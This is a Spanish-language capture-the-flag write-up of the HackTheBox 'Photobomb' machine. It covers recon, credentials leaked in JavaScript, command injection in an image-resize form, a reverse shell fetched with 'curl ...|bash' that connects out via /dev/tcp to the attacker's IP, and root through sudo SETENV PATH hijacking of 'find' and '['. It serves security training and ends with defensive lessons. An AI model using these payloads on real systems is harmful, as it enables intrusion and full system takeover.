the_open_door
café
ESEN

Photobomb

HackTheBoxFácilLinux10.10.11.182

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#linux#http#basic-auth#credentials-in-source#command-injection#rce#reverse-shell#sudo#setenv#path-hijacking#oscp
TL;DR. El 80 sirve una web (photobomb.htb) con login. En el código fuente JavaScript hay unas credenciales de Basic Auth en claro (pH0t0:b0Mb!). Dentro, una utilidad para descargar imágenes lanza convert por detrás, y el parámetro filetype no se sanea: inyección de comandos que da RCE y una reverse shell como wizard (user). Para root, sudo -l muestra /opt/cleanup.sh ejecutable como root con SETENV; el script llama a find (y a [) sin ruta absoluta: PATH hijacking.

Reconocimiento

Ping

Empezamos con un ping para confirmar que el host responde y mirar el TTL, que orienta sobre el sistema operativo (≈64 Linux, ≈128 Windows).

ping -c 1 10.10.11.182

ping a 10.10.11.182: ttl=63 apunta a Linux

64 bytes from 10.10.11.182: icmp_seq=1 ttl=63 time=... ms

TTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

Escaneo de puertos

Un escaneo completo de los 65535 puertos TCP (lanzado desde una función del .zshrc que envuelve el nmap) devuelve solo dos abiertos, 22 y 80:

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.11.182 -oG scan

nmap -p-: 22/tcp ssh y 80/tcp http abiertos, el resto closed (reset)

Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Nmap done: 1 IP address (1 host up) scanned in 15.37 seconds

Para arrastrar esos dos puertos al siguiente comando sin teclearlos, extractPorts los lee del fichero del escaneo y los deja en el portapapeles:

extractPorts scan

extractPorts leyendo el fichero scan de Photobomb y devolviendo IP Address 10.10.11.182 y Open ports 22,80, copiados al portapapeles

Extracting information ...

    IP Address: 10.10.11.182
    Open ports: 22,80

Ports copied to clipboard

Los 65533 restantes salen closed (reset), o sea que la máquina contesta con RST en lugar de tragarse los paquetes: no hay cortafuegos delante, la superficie es sencillamente pequeña. El escaneo de versiones confirma un OpenSSH no vulnerable y un nginx que redirige a un dominio:

nmap -p22,80 -sCV 10.10.11.182

nmap -sCV: OpenSSH 8.2p1, nginx 1.18.0 redirige a photobomb.htb

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 e2:24:73:bb:fb:df:5c:b5:20:b6:68:76:74:8a:b5:8d (RSA)
|   256 04:e3:ac:6e:18:4e:1b:7e:ff:ac:4f:e3:9d:d2:1b:ae (ECDSA)
|_  256 20:e0:5d:8c:ba:71:f0:8c:3a:18:19:f2:40:11:d2:9e (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://photobomb.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

El dato que mueve el trabajo está en el http-title: Did not follow redirect to http://photobomb.htb/. El servidor no responde con la web sino con una redirección a un nombre, así que hay virtual hosting y sin resolverlo no se ve nada. Añadimos photobomb.htb a /etc/hosts:

nano /etc/hosts
cat /etc/hosts

/etc/hosts con la línea 10.10.11.182 photobomb.htb añadida al final

127.0.0.1       localhost
127.0.1.1       kali
10.10.11.182    photobomb.htb

HTTP - TCP 80 (credenciales en el código fuente)

whatweb describe la web sin señalar nada aprovechable, y eso también es información: no hay CMS, ni framework reconocible, ni cabeceras raras más allá de las de seguridad:

whatweb http://photobomb.htb

whatweb sobre photobomb.htb: HTML5, nginx 1.18.0 sobre Ubuntu y las cabeceras de seguridad

http://photobomb.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.182], Script, Title[Photobomb], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[1; mode=block]

Wappalyzer añade una pieza que sí importa: bajo Security aparece Basic, es decir, la aplicación usa autenticación HTTP básica. Y la propia página lo dice con palabras: hay un enlace click here! y, entre paréntesis, "the credentials are in your welcome pack".

Wappalyzer detecta Basic, Ubuntu y Nginx 1.18.0 sobre la página de bienvenida de Photobomb

Antes de buscar esas credenciales a ciegas, se mira el código fuente, que en una web tan pequeña se lee entero de una pasada. El HTML no esconde nada, pero carga un JavaScript propio:

view-source de la portada: carga photobomb.js y el enlace /printer con clase creds

<script src="photobomb.js"></script>
...
<p>To get started, please <a href="/printer" class="creds">click here!</a> (the credentials are in your welcome pack).</p>

Un enlace con la clase creds apuntando a /printer y un .js propio al lado: hay que abrirlo. Y ahí está el premio, un comentario revelador y una URL con credenciales incrustadas:

Código fuente de photobomb.js: credenciales pH0t0:b0Mb! incrustadas

function init() {
  // Jameson: pre-populate creds for tech support as they keep forgetting them ...
  if (document.cookie.match(/^(.*;)?\s*isPhotoBombTechSupport\s*=\s*[^;]+(.*)?$/)) {
    document.getElementsByClassName('creds')[0].setAttribute('href','http://pH0t0:b0Mb!@photobomb.htb/printer');
  }
}

Las credenciales pH0t0:b0Mb! estaban en claro en el JS (un caso clásico de credenciales en el código fuente).

Un dirsearch no descubre rutas nuevas, pero devuelve una línea que conviene leer bien:

dirsearch -u http://photobomb.htb/ --exclude-status=403,404

dirsearch sobre photobomb.htb: /favicon.ico 200 y /printer con un 401

[14:06:36] 200 -   11KB - /favicon.ico
[14:06:55] 401 -  590B  - /printer

Task Completed

El 401 en /printer no es un fallo del escaneo: es la confirmación de que esa ruta existe y está protegida por autenticación, justo la que tenemos. De 11460 palabras probadas, la única puerta es la que ya conocíamos.

El enlace click here! de la portada es precisamente el que apunta a /printer, y al seguirlo el navegador pide las credenciales por autenticación básica. Son las que acabamos de leer en el JS:

La portada de Photobomb con el enlace click here resaltado y el diálogo de autenticación básica de photobomb.htb relleno con el usuario pH0t0 y la contraseña b0Mb!

http://photobomb.htb
This site is asking you to sign in.

Username: pH0t0
Password: b0Mb!

Shell como wizard

Inyección de comandos en la utilidad de imágenes

Autenticados, llegamos a /printer: una utilidad con una galería de fotos, un desplegable de tipo de fichero y una fila de tamaños, desde 30x20 - micro SD card hasta 3000x2000 - mousemat. Descargamos la misma foto en los dos extremos:

la utilidad /printer con la galería, el selector de tipo y los tamaños; abajo las dos descargas, de 1.8 KB y 7.8 MB

Y ahí salta el detalle: la de 3000x2000 tarda bastante más antes de empezar a bajar, no mientras baja. Un fichero grande tarda más en transferirse, eso es normal; lo que no es normal es que la espera ocurra antes del primer byte. Eso significa que el servidor está generando la imagen al vuelo, y la sospecha inmediata es un convert de ImageMagick por detrás. Se puede comprobar en local con la misma herramienta y un time:

time convert foto_30x20.png -resize 600x600 foto_600x600.png
time convert foto_30x20.png -resize 3000x2000 foto_big.png

dos convert locales con time: 0.18s para 600x600 y 1.40s para 3000x2000

# -resize 600x600     real 0.18s
# -resize 3000x2000   real 1.40s

El comportamiento encaja: el tiempo crece con el tamaño pedido. Y donde hay un comando del sistema alimentado con parámetros del usuario, puede haber inyección de comandos.

Interceptamos la petición con Burp para ver exactamente qué se envía:

la petición POST /printer en Burp con los campos photo, filetype y dimensions y la respuesta image/png

POST /printer HTTP/1.1
Host: photobomb.htb
Content-Type: application/x-www-form-urlencoded
Authorization: Basic cEgwdDA6YjBNYiE=

photo=mark-mc-neill-4xWHIpY2QcY-unsplash.jpg&filetype=png&dimensions=30x20
HTTP/1.1 200 OK
Content-Type: image/png
Content-Length: 1821
Content-Disposition: attachment; filename=mark-mc-neill-...

Tres campos controlados por nosotros (photo, filetype, dimensions) y una respuesta que es la imagen generada. El Authorization: Basic cEgwdDA6YjBNYiE= es simplemente pH0t0:b0Mb! en base64, que es todo lo que hace Basic Auth. Probamos a inyectar ;sleep 5 campo por campo para ver cuál se ejecuta (técnica de retardo temporal):

# inyección en photo (no funciona, queda saneado)
time curl 'http://photobomb.htb/printer' -d 'photo=...jpg;sleep+5+#&filetype=png&dimensions=30x20' -H 'Authorization: Basic cEgwdDA6YjBNYiE='
# inyección en filetype (SÍ funciona)
time curl 'http://photobomb.htb/printer' -d 'photo=...jpg&filetype=png;sleep+5+#&dimensions=30x20' -H 'Authorization: Basic cEgwdDA6YjBNYiE='

dos curl con time: la inyección en filetype tarda 7.47s (sleep ejecutado), en photo solo 0.52s

# photo  → "Source photo does not exist."   real 0.52s   (no ejecuta)
# filetype → "Failed to generate a copy..."  real 7.47s   (sleep 5 ejecutado)

El parámetro photo está saneado, pero filetype no: el retardo de 7,47 s confirma que el sleep 5 se ejecutó. Tenemos RCE.

Reverse shell

Para evitar problemas con caracteres especiales, dejamos el one-liner de la reverse shell en un script y lo servimos por HTTP; la inyección solo tiene que hacer un curl ... | bash:

nano revshell.sh
cat revshell.sh
python3 -m http.server 80
sudo nc -nlvp 443

revshell.sh con el one-liner de bash sobre /dev/tcp, el http.server sirviendo en el puerto 80 y, en el panel derecho, el nc a la escucha en el 443

File: revshell.sh
1  #!/bin/bash
2
3  bash -c 'bash -i >& /dev/tcp/10.10.16.6/443 0>&1'

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

listening on [any] 443 ...

El payload, inyectado en filetype de la petición POST /printer:

Petición Burp: filetype=png;curl http://10.10.16.6/revshell.sh|bash #

photo=...unsplash.jpg&filetype=png;curl+http://10.10.16.6/revshell.sh|bash+#&dimensions=30x20

El # final no es adorno: comenta el resto de la línea que el servidor iba a construir, para que lo que venga detrás de nuestra inyección no rompa el comando. Al enviarla, las dos ventanas se mueven a la vez, el servidor HTTP registra la descarga del script y el listener recibe la conexión como wizard:

el http.server registra el GET /revshell.sh y en el listener entra la shell como wizard

10.10.11.182 - - [10/Oct/2025 14:51:51] "GET /revshell.sh HTTP/1.1" 200 -

connect to [10.10.16.6] from (UNKNOWN) [10.10.11.182] 43234
bash: cannot set terminal process group (692): Inappropriate ioctl for device
bash: no job control in this shell
wizard@photobomb:~/photobomb$ whoami
wizard

Los dos avisos de bash son los de siempre en una shell sin TTY: no hay terminal de control, así que no hay control de trabajos (nada de Ctrl+C ni Ctrl+Z sin romper la sesión). Como el 22 está abierto, en vez de pelear con la estabilización generamos un par de claves y entramos por SSH, que da una sesión completa y además sirve de persistencia:

ssh-keygen
cat /home/wizard/.ssh/id_rsa.pub > /home/wizard/.ssh/authorized_keys
chmod 600 /home/wizard/.ssh/authorized_keys
cat /home/wizard/.ssh/id_rsa      # se copia a la Kali
ssh -i id_rsa wizard@10.10.11.182

ssh-keygen en la víctima, la clave privada copiada a la Kali y el login SSH como wizard

Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-126-generic x86_64)
...
Last login: Mon Oct  3 22:39:03 2022 from 10.10.14.23
wizard@photobomb:~$

El banner de SSH regala de paso la versión exacta del sistema, Ubuntu 20.04.5 LTS con kernel 5.4.0-126, que es justo lo que hay que mirar antes de plantearse cualquier vía por kernel. Ya estable, la flag de usuario:

cat user.txt

cat user.txt como wizard

eefdd53e4b3be41d8c177fcabb62eb7d

Escalada de privilegios a root

sudo + cleanup.sh: PATH hijacking

Enumeramos los privilegios sudo:

sudo -l
cat /opt/cleanup.sh

sudo -l: wizard puede ejecutar /opt/cleanup.sh como root con SETENV; el script usa find y [ sin ruta absoluta

Matching Defaults entries for wizard on photobomb:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User wizard may run the following commands on photobomb:
    (root) SETENV: NOPASSWD: /opt/cleanup.sh

Merece la pena leer también la primera mitad, la de Matching Defaults entries, porque describe las dos defensas que sudo trae de serie: env_reset limpia el entorno antes de ejecutar y secure_path impone un PATH fijo de directorios del sistema. Con esas dos, un PATH hijacking no debería funcionar. La regla de abajo es la que las anula.

#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb
# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
  /bin/cat log/photobomb.log > log/photobomb.log.old
  /usr/bin/truncate -s0 log/photobomb.log
fi
# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;

Dos detalles encajan. Primero, el último comando llama a find sin ruta absoluta, así que root lo buscará recorriendo el PATH. Segundo, y crucial, la regla incluye SETENV: nos permite pasar variables de entorno (incluida PATH) a sudo, algo que normalmente env_reset impediría. Es un PATH hijacking de manual: dejamos un find falso en un directorio escribible y ponemos ese directorio el primero del PATH al lanzar el script:

cd /tmp
echo 'chmod u+s /bin/bash' > find
chmod +x find
sudo PATH=/tmp:$PATH /opt/cleanup.sh
ls -l /bin/bash
bash -p
whoami

PATH hijacking: find falso, sudo con PATH=/tmp, /bin/bash queda SUID y bash -p da root

-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash
root

El find falso (que hace chmod u+s /bin/bash) corre como root al ejecutar el script, deja /bin/bash con bit SUID, y bash -p (que conserva el euid elevado) abre una shell de root.

Variante: secuestrar el binario [

Hay una segunda vía sobre el mismo script. La primera línea hace . /opt/.bashrc, y ese fichero contiene enable -n [, que desactiva el [ como builtin de la shell y obliga a usar el binario externo [:

cat /opt/.bashrc | grep -v '^#' | head -n 10

/opt/.bashrc contiene enable -n [, que fuerza el uso del binario externo [

PATH=${PATH:/:\/snap\/bin/}

enable -n [   #  ]

[ -z "$PS1" ] && return

shopt -s checkwinsize

Como el if [ -s ... ] del script usa ahora el [ externo (y también sin ruta absoluta), se puede secuestrar igual que find:

cd /tmp
echo 'bash' > '['
chmod +x '['
ls -l '['
sudo PATH=/tmp:$PATH /opt/cleanup.sh
whoami

el binario [ falso de 5 bytes, el sudo con PATH=/tmp y el prompt que pasa a root@photobomb

-rwxrwxr-x 1 wizard wizard 5 Oct 10 13:31 '['
root@photobomb:/tmp# whoami
root

Esta variante es incluso más directa que la del find: el [ se ejecuta en la línea del if, o sea al principio del script, y como el fichero falso contiene literalmente bash, lo que se abre es una shell de root en el acto (se ve en el cambio de prompt), sin pasar por el SUID.

Ambas vías terminan en root. La flag final:

cat /root/root.txt

cat /root/root.txt tras la escalada

ebceae1ff60b6e188fb185677bf25407

Cadena de ataque

nmap TCP (22, 80) → photobomb.htb
  └─> código fuente photobomb.js → creds Basic Auth pH0t0:b0Mb!
        └─> /printer: utilidad de imágenes → convert por detrás
              └─> command injection en el parámetro filetype → RCE
                    └─> curl revshell.sh | bash → shell como wizard (user.txt)
                          └─> sudo -l: /opt/cleanup.sh como root con SETENV
                                └─> find (y [) sin ruta absoluta → PATH hijacking
                                      └─> sudo PATH=/tmp:$PATH ... → bash -p → root (root.txt)

Lecciones aprendidas

  • El código fuente filtra secretos. Unas credenciales de soporte quedaron incrustadas en un .js servido al cliente: nunca poner secretos en el código del frontend. Inspeccionar el fuente es de los primeros pasos en cualquier web.
  • Si un parámetro alimenta un comando, pruébalo. El retardo antes de la descarga delataba un convert por detrás; un ;sleep 5 por parámetro confirmó la inyección de comandos (y mostró que solo filetype, no photo, estaba sin sanear).
  • SETENV en sudoers es peligroso. Permitir pasar el entorno a un script de root rompe la protección de env_reset y abre la puerta a manipular el PATH.
  • Invocar binarios por nombre desde código privilegiado es un riesgo. find (y el [ externo, forzado por enable -n [) sin ruta absoluta convirtieron cleanup.sh en un PATH hijacking doble. Llamar siempre por ruta absoluta lo habría evitado.
  • Un 401 en un escaneo de rutas es un hallazgo, no un fallo. dirsearch no encontró nada nuevo, pero el 401 - 590B - /printer confirmaba que la ruta existía y estaba protegida justo por la autenticación que acabábamos de encontrar en el .js.
  • La latencia es un canal. Que la espera ocurriera antes del primer byte y no durante la transferencia es lo que delató que la imagen se generaba al vuelo. Reproducir el convert en local con time convirtió una corazonada en una hipótesis medible.
  • Lee la mitad de arriba del sudo -l. El env_reset y el secure_path de Matching Defaults existen precisamente para impedir esto; el SETENV de la regla es lo que los desactiva. Sin esa palabra, el ataque no sale.
  • En una shell sin TTY, el SSH es la mejor estabilización. Con el 22 abierto, generar un par de claves da sesión completa, sobrevive a la caída de la reverse shell y de regalo el banner dice la versión exacta del sistema.
Cheatsheet de comandos 18 comandos

Repaso rápido